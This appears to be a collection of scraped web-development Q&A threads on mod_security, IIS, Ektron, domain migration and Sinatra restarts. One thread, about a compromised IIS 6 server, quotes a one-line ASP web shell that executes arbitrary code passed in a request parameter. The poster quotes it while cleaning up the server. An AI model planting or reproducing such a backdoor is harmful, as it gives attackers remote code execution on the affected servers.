I've been developing an application in CakePHP recently, and all was well until it wasn't. On our development server (which I control) the application runs just fine. On the live server (which our university controls) most of my POST requests result in a 403 page. I've figured out that PHP is never even being called in these cases, and I'm 99% certain that the only real configuration difference between the two is mod_security2.
Here's my trouble. I cannot see the error_log file, because I am not root. I can't even list the directory that it's in. We have got to have the slowest admin on the planet, and I'm trying to get past this issue as quickly as possible. Is there any way to debug mod_security2 without simply throwing bits of post data at it until it breaks hoping to "guess" at what you might be doing wrong?
I've tried looking through the configuration files (which I do have read access to) but I've never used this mod before, and it's like wading through molasses. I don't even know where to begin.
Disabling the mod outright isn't an option, I'm simply going to have to work with it I'm afraid. HELP.
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I've inherited a Silverlight/WCF application. (Having worked on .net MVC, and SPA for quite a while)
I tried switching the IIS website folder to see if a tweak to the code and a fresh build would work, it didn't work and I switched back and although the website is functional it has a number of faults.
For some reason the Windows authentication appears to have stopped working, this authorises a number of the admin functions. I think this is broken and so not enabling the functionality in the Silverlight app.
The server I've inherited has the applications as folders in the default website, which is new to me, and quite constraining. I've gone through IISAdmin videos, and learnt a lot, but not enough to fix the issue.
I am unable to get the software to run in VS2013, quite a bump after working on Single Page Applications.
I'm stumped as to how the same code put back no longer works; I've learnt my lesson, but I still need to fix the system. I am not sure whether IISReset would make a difference since the AppPool is recycled every 29 hours. I've found out what the harm in trying is, and so I am proceeding with caution.
So my main goal would be to get the Windows Authentication working again.
I'm moving a website from old.com to new.com/old, but I have to make sure it works before deleting old.com.
It's a very large legacy website that probably has links, images, scripts and other things hardcoded to old.com. The problem is that these references to old.com aren't obvious since the site loads up perfectly since old.com is still up.
Is there a way to block all requests to old.com from my local machine only, or some other tool to make finding these references simpler?
The former is done by updating your hosts file on your local machine to point old.com to something else, this overrides what the internet DNS states. The latter very much depends on how your application is build and there is not enough info here.
We're developing a solution which uses Ektron. As part of our solution we all have local IIS instances (localhost) and deploy to this local instance as part of the development life cycle.
The problem is that after a deployment and once dll's are replaced IIS restarts and the app pool is recycled, this means that Ektron dll's need to reload themselves.
This process takes an extended amount of time.
Is there anyway to improve the loading time of "Ektron"
To some extent, this is the nature of a large app running as a website rather than a web application. Removing the workarea from your local environment is one way to get this compile time down, though this will naturally not work depending on your workflow, for example if you are not using a separate dev DB or if you are storing the workarea in source control.
I have seen some attempts to pre-complile the workarea and keep the working code in a separate project (http://dev.ektron.com/forum.aspx?g=posts&t=10996) but this approach will only speed up your builds, not the recompilation of individual pages that will occur after a build as a result of running as a web site.
The last (and least best-practice) solution is to simply avoid making code changes that cause a recompile, like modifying app_code. Apps running as websites are perfectly happy to recompile a single page's codebehind without regenerating DLLs, which is advantageous for productivity but ultimately discourages good practices like reusing code in libraries. Keep in mind that this is terrible advice, but if you have a deadline and are staring at an ektron page loading every 30 minutes it can be useful to know.
Same problem here. I found this: http://brianpereras.blogspot.com/2013/06/ektron-85-86-workarea-is-slow-compared.html
That says that the help documentation was moved to be retrieved from an online source (documentation.ektron.com). We're running Ektron 9, and I just made this change and it seems much faster on first load (after iisreset).
The solution is to set documentation.ektron.com to 127.0.0.1 in your hosts file.
There is not, this is just how IIS works. Instead of running a local instance of Ektron it's a good idea just to point your web.config file to the database of your test database and copy the /workarea folder to your local PC. You can't edit ektron locally but you can change the data on your test server and it will show up locally.
One of my clients noticed a message in google search results that said their website may have been hacked. After some digging, I found html files on the server that contained seo garbage and javascript references. I removed those files, change cms passwords, updated some components like CKFinder, etc...
I then started looking into other sites on the server and found tons of .asp files with this line
<%If Request("cmp")<>"" Then Execute(Request("cmp"))%>nofoundfile
I've removed those but do not know how they got there. I've looked through various logs (event viewer, website, ftp) but most don't go back far enough from when the files were created.
I've updated the OS, which was only a month or two out of date, and changed ftp access.
What else can I do to find the point of entry or make sure my server and sites are safe?
BTW: This is a windows 2003 server running IIS 6.0.
There is multiple ways that they may have gotten access to your server.
Are you running a common CMS or custom?
It could be possible that they have found a vulnerability in one of your scripts.
for example if they found a SQL injection vulnerability they could retrive database information.
if they where to find a RCE bug (remote code execution) they maybe have been able to execute system commands leading to the creating of those arbitrary files.
Other than that, there are a few vulnerabilities in windows server that have been patched this week, check out this link :
http://blog.spiderlabs.com/2014/02/microsoft-patch-tuesday-february-2014.html
The great thing about PHP is that if you have something like
clothes.com, clothes.com/men.php, clothes.com/women.php
Then if you only edit the men's page, only that particular "app" will be restarted.
But on rack/Sinatra I have to touch the restart.txt file to restart the ENTIRE website.
Is there a way around this problem, so that users browsing other parts of the site wont have any problems while another part of the site get edited?
(i'm using mod-passenger on Apache, not that it's important..)
This would be true in all cases anyway for editing (non-inline) views (not layouts).
Aside from that, if you're really worried about this then I'd suggest using versioned folders to hold the application code. When you do a deployment, change the proxy to point at the newer version. Those who had already made requests will remain on an instance of Apache and the application that is already running, as long as their request remains alive, and seemlessly (unless you've broken something with the code) move to the new code on the next request.
It's also a convenient way to rollback to the/a previous version quickly and easily.
Check out the sinatra reloader from sinatra contrib